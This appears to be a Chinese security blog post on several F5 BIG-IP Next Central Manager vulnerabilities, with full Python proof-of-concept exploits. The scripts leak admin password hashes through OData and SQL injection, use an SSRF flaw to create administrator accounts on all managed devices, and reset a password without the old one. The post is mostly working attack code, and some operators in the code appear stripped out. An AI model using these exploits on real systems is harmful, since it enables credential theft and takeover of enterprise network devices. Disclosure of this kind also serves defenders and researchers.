CVE-2024-21793|F5 BIG-IP Next Central Manager存在多个安全漏洞(POC)

2024-05-14 18:00:32 浏览数 (2)

0x00 前言

F5 的 Next Central Manager 是 BIG-IP Next 机群所有生命周期任务的集中控制点,该工具为企业提供了一个统一的管理用户界面,用于管理应用程序可用性、访问控制和安全解决方案。

0x01 漏洞描述

CVE-2024-21793:BIG-IP Next Central Manager OData注入漏洞,存在于Central Manager处理OData查询的方式中,可能导致未经身份验证的攻击者注入OData查询过滤器参数,从而获取敏感信息,如管理员密码哈希等。

CVE-2024-26026:BIG-IP Next Central Manager SQL注入漏洞,未经身份验证的攻击者可将恶意SQL查询注入数据库查询的输入字段或参数中,从而可能导致未授权访问、数据泄露和系统接管等。

其他:SSRF漏洞

其他:管理员密码重置漏洞

0x02 CVE编号

CVE-2024-21793

CVE-2024-26026

0x03 影响版本

BIG-IP Next Central Manager 20.x :20.0.1 - 20.1.0

0x04 漏洞详情

CVE-2024-21793 POC:

代码语言:javascript复制
import string

import requests
import urllib3
import argparse

urllib3.disable_warnings()


def leak_hash(target: str, target_user: str = "admin"):
   URL = f"{target}/api/login"

   charset = string.digits   string.ascii_letters   '/.$'

   current_guess = ''

   while True:
       guessed = False
       for guess in charset:
           full_guess = current_guess   guess
           stuff = requests.post(URL, json={
               "username": f"fakeuser' or 'username' eq '{target_user}' and startswith('password','{full_guess}') or 'username' eq '1",
               "password": "password",
               "provider_type": "LDAP",
               "provider_name": "LDAP"
          }, verify=False).json()
           if stuff["status"] == 500:
               guessed = True
               current_guess  = guess
               print("[ ]", current_guess)
               break
       if not guessed:
           break


if __name__ == '__main__':
   parser = argparse.ArgumentParser(description='Leak the admin password hash')
   parser.add_argument('target', type=str, help='The target URL')
   parser.add_argument('target_user', type=str, help='The target user', default='admin', nargs='?')
   args = parser.parse_args()
   leak_hash(args.target, args.target_user)

CVE-2024-26026 POC:

代码语言:javascript复制
import string

import requests
import urllib3
import argparse

urllib3.disable_warnings()

def encode_string(s: str) -> str:
   return ",".join([f"chr({ord(c)})" for c in s])

def leak_hash(target: str, target_user: str = "admin"):
   charset = string.digits   string.ascii_letters   '/.$'
   encoded_user = encode_string(target_user)

   URL = f"{target}/api/login"
   current_guess = ''
   while True:
       guessed = False
       for guess in charset:
           full_guess = encode_string(current_guess   guess   '%')
           stuff = requests.post(URL, json={
               "username": "fake_user",
               "password": "password",
               "provider_type": "LDAP",
               "provider_name": f"LDAPP'or' name = (select case when (password like concat({full_guess})) then chr(76)||chr(111)||chr(99)||chr(97)||chr(108) else chr(76) end from mbiq_system.users where username like concat({encoded_user}) limit 1)"
          }, verify=False).json()
           if "root distinguished name is required" in stuff["message"]:
               guessed = True
               current_guess  = guess
               print("[ ]", current_guess)
               break
       if not guessed:
           break

if __name__ == '__main__':
   parser = argparse.ArgumentParser(description='Leak the admin password hash')
   parser.add_argument('target', type=str, help='The target URL')
   parser.add_argument('target_user', type=str, help='The target user', default='admin', nargs='?')
   args = parser.parse_args()
   leak_hash(args.target, args.target_user)

SSRF漏洞

POC:

代码语言:javascript复制
import base64
import random
 
import requests
import urllib3
import argparse
 
urllib3.disable_warnings()
 
USERNAME_TO_MAKE = "admin"   str(random.randint(100, 100000000))
PASSWORD_TO_SET = "adminadminadmin"
 
# noinspection RequestsNoVerify
def login(username: str, password: str, target: str) -> dict:
    path = '/api/login'
    return requests.post(target   path, json={"username": username, "password": password}, verify=False).json()
 
# noinspection RequestsNoVerify
def get_devices(access_token: str, target: str) -> dict:
    path = '/api/device/v1/summary?limit=50&page=1&select=address,certificate_validated,certificate_validity,certificate_validation_error,id,hostname,mode,platform_type,task_summary,version'
    return requests.get(target   path, headers={"Authorization": f"Bearer {access_token}"}, verify=False).json()['_embedded']['devices']
 
# noinspection RequestsNoVerify
def get_device_info(access_token: str, device_id: str, target: str) -> dict:
    path = f'/api/device/v1/proxy/{device_id}?path=/systems'
    return requests.get(target   path, headers={"Authorization": f"Bearer {access_token}"}, verify=False).json()
 
# noinspection RequestsNoVerify
def make_device_user(access_token: str, device_id: str, username: str, password: str, ips: list[str], target: str):
    path = f'/api/device/v1/proxy/{device_id}?path=/users'
    temp_password = "adminadmin"
    requests.put(target   path, headers={"Authorization": f"Bearer {access_token}"}, verify=False, json={
        "username": username,
        "password": temp_password,
        "role": "administrator"
    }).json()
    auth_header = base64.b64encode(f"{username}:{temp_password}".encode()).decode()
    for ip in ips:
        print("This should be empty or whitespace: ", requests.put(f"https://{ip}:5443/api/v1/me", headers={"Authorization": f"Basic {auth_header}"}, verify=False, json={
            "newPassword": password,
            "currentPassword": temp_password,
        }).text)
 
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Make a user on all devices')
    parser.add_argument('username', type=str, help='The username to login with')
    parser.add_argument('password', type=str, help='The password to login with')
    parser.add_argument('instance', type=str, help='The instance to login to')
    args = parser.parse_args()
 
    USERNAME = args.username
    PASSWORD = args.password
    INSTANCE = args.instance
 
    print(f"Attempting to make a user on all devices managed by {INSTANCE}")
 
    tokens = login(USERNAME, PASSWORD, INSTANCE)
 
    devices = get_devices(tokens['access_token'], INSTANCE)
 
    for device in devices:
        device_id = device['id']
        device_info = get_device_info(tokens['access_token'], device['id'], INSTANCE)['_embedded']['systems'][0]
        management_ips = [x.split('/')[0] for x in device_info['managementIps']]
        print(f"Trying to make user {USERNAME_TO_MAKE}:{PASSWORD_TO_SET} on device with IPs:", management_ips)
        make_device_user(tokens['access_token'], device_id, USERNAME_TO_MAKE, PASSWORD_TO_SET, management_ips, INSTANCE)
        print("If it worked, you should now have an API user. Device login test: ")
        # noinspection RequestsNoVerify
        print(requests.get(f"https://{management_ips[0]}:5443/api/v1/login", headers={
            'Authorization': "Basic "   base64.b64encode(f"{USERNAME_TO_MAKE}:{PASSWORD_TO_SET}".encode()).decode()
        }, verify=False).text)

管理员密码重置漏洞

POC:

代码语言:javascript复制
import requests
import urllib3
 
urllib3.disable_warnings()
 
BASE_URL = 'https://instance'
USERNAME = 'admin'
PASSWORD = 'current_password'
NEW_PASSWORD = 'Gc8&7j@oWF!s'
 
# noinspection RequestsNoVerify
def login(username: str, password: str) -> dict:
    path = '/api/login'
    return requests.post(BASE_URL   path, json={"username": username, "password": password}, verify=False).json()
 
# noinspection RequestsNoVerify
def reset(access_token: str, username: str):
    body = {
        "username": username,
        "temporary_password": NEW_PASSWORD
    }
    return requests.post(BASE_URL   '/api/system/v1/users/reset-password', headers={"Authorization": f"Bearer {access_token}"}, verify=False, json=body).text
 
# This simulates a logged-in user
tokens = login(USERNAME, PASSWORD)
 
# This resets the password w/o the previous one (using just a session)
print(reset(tokens['access_token'], USERNAME))
print(f"Now go to the instance and login with {NEW_PASSWORD} as the password.")

0x05 参考链接

https://my.f5.com/manage/s/article/K000138733

https://my.f5.com/manage/s/article/K000138732

0 人点赞